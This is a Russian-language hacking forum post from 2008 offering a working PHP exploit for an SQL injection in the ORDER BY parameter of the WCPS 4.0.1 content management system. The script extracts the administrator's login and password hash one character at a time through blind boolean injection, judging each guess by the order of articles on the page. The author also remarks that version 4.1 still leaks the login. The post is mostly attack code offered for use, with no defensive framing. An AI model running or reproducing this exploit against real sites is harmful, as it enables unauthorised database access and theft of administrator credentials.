
18.01.2008, 18:16
|
|
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
С нами:
9920546
Репутация:
1796
|
|
Эксплоит к SQL injection в WCPS v 4.0.1
Вот сама уязвимость:
Код:
http://test2.ru/index.php?nma=catalog&fla=pod_menu&cat_id=1&by=[SQL code]
Собственно я ее уже публиковал, как помним иньект там проходит после ORDER BY. Ну чтож развеем миф что скуля после ORDER BY не ракручиваемая. Вот эксплоит:
PHP код:
<?php
/*----------------------------------------*\
Експлоит для cms WCPS v4.0.1
Автор: I-I()/Ib
\*----------------------------------------*/
$set['host']='test2.ru';//Хост с CMS WPCS
$set['patch']='';//Путь к WCPS без слеша на конце!
$set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ)
$set['prefix']='wc_';//Префикс таблиц в БД
$set['catid']='2';//Номер группы статей
$set['catnm1']='Регистрация Своего Модуля';//Название первой статья отобажаемая по ссылке типа http://test2.ru/index.php?nma=catalog&fla=pod_menu&cat_id=2&by=id
$set['catnm2']='Как повысить цитируемость';//Название последней статьи
//----------------------------------------\\
set_time_limit(0);
function create_packet($num,$sumb,$maxs,$znak,$column='user_login'){
global $set;
$tmp='http://'.$set['host'].$set['patch'];
$tmp.='/index.php?nma=catalog&fla=pod_menu&cat_id=2&by=';
if($znak==='>')$tmp.=urlencode('(-id*(1=IF(ASCII(SUBSTRING((SELECT '.$column.' FROM '.$set['prefix'].'user WHERE id='.$set['id_user'].'),'.$num.',1)) BETWEEN '.$sumb.' AND '.$maxs.',1,2)))/*');
else $tmp.=urlencode('(-id*(1=IF(ASCII(SUBSTRING((SELECT '.$column.' FROM '.$set['prefix'].'user WHERE id='.$set['id_user'].'),'.$num.',1))'.$znak.$sumb.',1,2)))/*');
return $tmp;
}
function logg($str){
echo($str.'<br>'."\r\n");
flush();
}
$ret='';
logg('<b>'.$set['host'].'</b>');
logg('Выдираем логин...');
for($i=1;$i<=25;$i++){
$sred=0;
$tmp='';
$i2=0;
$i3=0;
$znak='>';
$mins=0;
$maxs=255;
while(1){
if($maxs-$mins>3){
$sred=round(($mins+$maxs)/2);
}else{
$sred=$mins+$i2;
$znak='=';
$i2=$i2+1;
if($mins>$maxs)break;
}
$dt=file_get_contents(create_packet($i,$sred,$maxs,$znak));
if((!strpos($dt,$set['catnm1']))||(!strpos($dt,$set['catnm2'])))die('Не верный префикс, либо неверно указанны названия статей');
if(strpos($dt,$set['catnm2'])>strpos($dt,$set['catnm1'])){
if($znak==='>')$mins=$sred;
else if($znak==='='){
$ret.=chr($sred);
break;
}
}else{
if($znak==='>')$maxs=$sred;
}
if($i3>30)break;
else $i3++;
}
if(ord(substr($ret,$i-1))==0)break;
}
if(empty($ret))die('Не получилось :(');
logg('Логин: <b>'.$ret.'</b>');
$ret='';
logg('Выдираем хеш...');
for($i=1;$i<=32;$i++){
$sred=0;
$tmp='';
$i2=0;
$i3=0;
$znak='>';
$mins=0;
$maxs=255;
while(1){
if($maxs-$mins>3){
$sred=round(($mins+$maxs)/2);
}else{
$sred=$mins+$i2;
$znak='=';
$i2=$i2+1;
if($mins>$maxs)break;
}
$dt=file_get_contents(create_packet($i,$sred,$maxs,$znak,'user_pass'));
if(strpos($dt,$set['catnm2'])>strpos($dt,$set['catnm1'])){
if($znak==='>')$mins=$sred;
else if($znak==='='){
$ret.=chr($sred);
break;
}
}else{
if($znak==='>')$maxs=$sred;
}
if($i3>30)break;
else $i3++;
}
if(ord(substr($ret,$i-1))==0)break;
}
if(empty($ret))die('Не получилось :(');
logg('Хеш: <b>'.$ret.'</b>');
?>
Вот поймать бы того, кто в фильтр всунул строку user_pass (идиотизм какой-то), так бы сплоент работал и на последней версии 4.1. Но к сожалению в последней версии сплоент выдирает только логин, а вот в предпоследней (4.0.1) успешно вытаскивается админский логин и хеш.
__________________
Кто я?..
Последний раз редактировалось I-I()/Ib; 18.01.2008 в 22:21..
|
|
|